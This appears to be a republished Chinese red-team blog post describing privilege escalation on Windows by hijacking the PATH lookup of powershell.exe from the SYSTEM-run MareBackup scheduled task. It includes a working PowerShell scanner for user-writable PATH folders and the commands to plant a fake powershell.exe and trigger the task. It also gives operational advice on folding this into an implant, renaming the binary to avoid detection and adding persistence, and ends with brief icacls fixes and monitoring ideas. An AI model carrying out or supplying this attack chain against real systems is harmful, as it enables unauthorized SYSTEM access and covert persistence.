环境变量劫持是一种利用程序在搜索可执行文件、动态链接库(DLL)或配置文件时依赖环境变量路径顺序的弱点进行攻击的手段。攻击者通过篡改环境变量中路径的排列顺序,或将恶意文件放置到靠前的环境变量路径中,诱使目标程序加载攻击者控制的恶意文件,从而达到提权、持久化或绕过安全机制的目的。
但是环境变量劫持在实战中用的很少,如果利用它来做提权,那么就要找到能被高权限目标加载但是又可以被普通用户权限写入的环境变量路径,这其实挺难;如果用它来做持久化,在已经有高权限的情况下实现起来确实很简单,但必然会影响到正常的系统或软件运行。
很简单的小姿势,主要是记录,浅水一篇^▽^
一个利用思路
然而,外网安全研究员在 hijacking-the-windows-marebackup-scheduled-task-for-privilege-escalation 一文中的发现,为我们找到了一个可利用的思路。先来总结一下文章内容:
系统自带的一个计划任务marebackup,会以 system 权限启动 CompatTelRunner.exe,执行如下的指令:
MareBackup 是 Windows 系统中的一个计划任务,它属于“MicrosoftWindowsApplication Experience”任务目录下的一个任务。该任务的主要功能与微软的应用程序兼容性遥测相关,会收集应用程序兼容性数据(Appraiser),用于检测应用程序和系统之间的兼容性问题,并将这些数据发送给微软以改进系统兼容性。
该任务会调用 CompatTelRunner.exe(应用程序兼容性遥测运行器),来执行 appraiser.dll 中的功能。而下面的这条指令:
"C:WINDOWSsystem32compattelrunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun
会执行一条 powershell 命令:
powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
这条指令是不是非常眼熟,如果有过分析终端日志的经验,大概率见过这条命令。
根据 CompatTelRunner 进程的调用堆栈,powershell 是被 acmigration.dll 中的 PowerShellMatchingPlugin 函数调用的:
而函数中使用 CreateProcessW 来启动进程,对 acmigration.dll 进行逆向就会发现在调用 CreateProcessW 时,没有指定 powershell 的绝对路径。
这里就是能被利用的点,我们只需要找到在 powershell 的环境变量之前有没有能被普通用户权限写入的路径,在里面放一个假的 powershell.exe (实际上是我们的恶意文件),再启动这个计划任务,就能让恶意文件以 system 权限运行。
这样的路径还是能找得到,有一些软件在安装的时候会将软件安装路径写到环境变量中,但是又没有对文件夹的权限做严格的限制,就能被利用。或者我们在配置环境的时候,经常会自己创建文件夹,写一些环境变量,挪到靠前的顺序,也能被利用。
攻击测试:
先搞一个powershell脚本,用来发现能被利用的路径:
# 获取系统级 PATH 环境变量
$systemPath = [Environment]::GetEnvironmentVariable("Path", "Machine")
$pathEntries = $systemPath -split ';' | Where-Object { $_ -ne '' }
# 标准 PowerShell 路径
$targetPowerShellPath = "C:WindowsSystem32WindowsPowerShellv1.0".TrimEnd('').ToLower()
# 在 PATH 中查找目标位置
$targetIndex = -1
for ($i = 0; $i -lt $pathEntries.Count; $i++) {
$normalizedPath = $pathEntries[$i].TrimEnd('').ToLower()
if ($normalizedPath -eq $targetPowerShellPath) {
$targetIndex = $i
break
}
}
Write-Host "检测到目标 PowerShell 路径索引: $targetIndex" -ForegroundColor Cyan
Write-Host "将检查此位置前的 $($targetIndex) 个路径权限" -ForegroundColor Cyan
# 安全主体定义
$lowPrivIdentities = @(
"Everyone",
"Authenticated Users",
"Users",
"BUILTINUsers",
"NT AUTHORITYAuthenticated Users",
"NT AUTHORITYEveryone"
)
$vulnerablePaths = @()
$checkPaths = $pathEntries[0..($targetIndex-1)]
# 检查目标路径之前的所有路径
foreach ($rawPath in $checkPaths) {
$expandedPath = [Environment]::ExpandEnvironmentVariables($rawPath)
$sanitizedPath = $expandedPath.Trim('"')
if (-not (Test-Path -LiteralPath $sanitizedPath -PathType Container)) {
Write-Host " [跳过] 路径不存在: $sanitizedPath" -ForegroundColor DarkGray
continue
}
try {
$acl = Get-Acl -LiteralPath $sanitizedPath -ErrorAction Stop
$isVulnerable = $false
# 检查访问控制项 - 写入权限
foreach ($ace in $acl.Access) {
if ($ace.AccessControlType -eq "Allow") {
$identity = $ace.IdentityReference.Value
if ($identity -in $lowPrivIdentities) {
$hasWritePermission = $ace.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write
if ($hasWritePermission) {
$isVulnerable = $true
Write-Host " [风险] $sanitizedPath : 组 $identity 有写入权限" -ForegroundColor Red
break
}
}
}
}
if ($isVulnerable) {
$vulnerablePaths += $sanitizedPath
} else {
Write-Host " [安全] $sanitizedPath : 无写入权限" -ForegroundColor Green
}
} catch {
Write-Host " [错误] 无法访问路径: $sanitizedPath ($($_.Exception.Message))" -ForegroundColor Yellow
}
}
if ($vulnerablePaths.Count -gt 0) {
Write-Host "`n存在非管理员可写权限的路径:" -ForegroundColor Red
$vulnerablePaths | ForEach-Object { " - '$_'" } # 单引号包裹路径
}
else {
Write-Host "`n目标 PowerShell 路径前的所有路径均安全" -ForegroundColor Green
}
运行,发现一个能被利用的路径:
将恶意文件copy到目标路径中,命名为 powershell.exe,然后启动计划任务:
Start-ScheduledTask -TaskPath "MicrosoftWindowsApplication Experience" -TaskName "MareBackup"
非标准路径下的 powershell 被执行:
上线为system权限:
实战利用思路:
在冲锋马中加入上面的功能:
自动寻找可被利用的路径 → 释放或拉取上线马到目标路径,命名为 powershell.exe → 启动 MareBackup 计划任务 → 获得高权限会话
获得了高权限的会话之后,不能将假的 powershell.exe 留在目标机器上,因为会影响正常 powershell 的使用,会被用户发现异常,但是我们的会话又要靠这个 powershell 维持,怎么办?
我们可以修改假 powershell.exe 的文件名,避免后续用户对 powershell 的正常使用(正在运行中的程序,其二进制文件可以被重命名),然后上传新的马,或者复制成新的名字,做新的持久化,例如创建高权限的计划任务,或者利用一些高权限的注册表位置。
这样就丝滑地获取到高权限beacon了。
防御方法
利用脚本找到可被利用的路径,修复权限:
# 管理员身份执行以下命令:
icacls "路径" /remove "Users"
icacls "路径" /remove "Authenticated Users"
icacls "路径" /remove "Everyone"
监控 CompatTelRunner 进程启动非标准路径下 powershell.exe (或者没有微软签名的powershell)的行为。
监控无微软签名的 powershell.exe 文件写入行为(其他的系统进程也同理)。
原文始发于微信公众号(红蓝攻防研究实验室):通过环境变量劫持实现的权限提升——MareBackup计划任务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论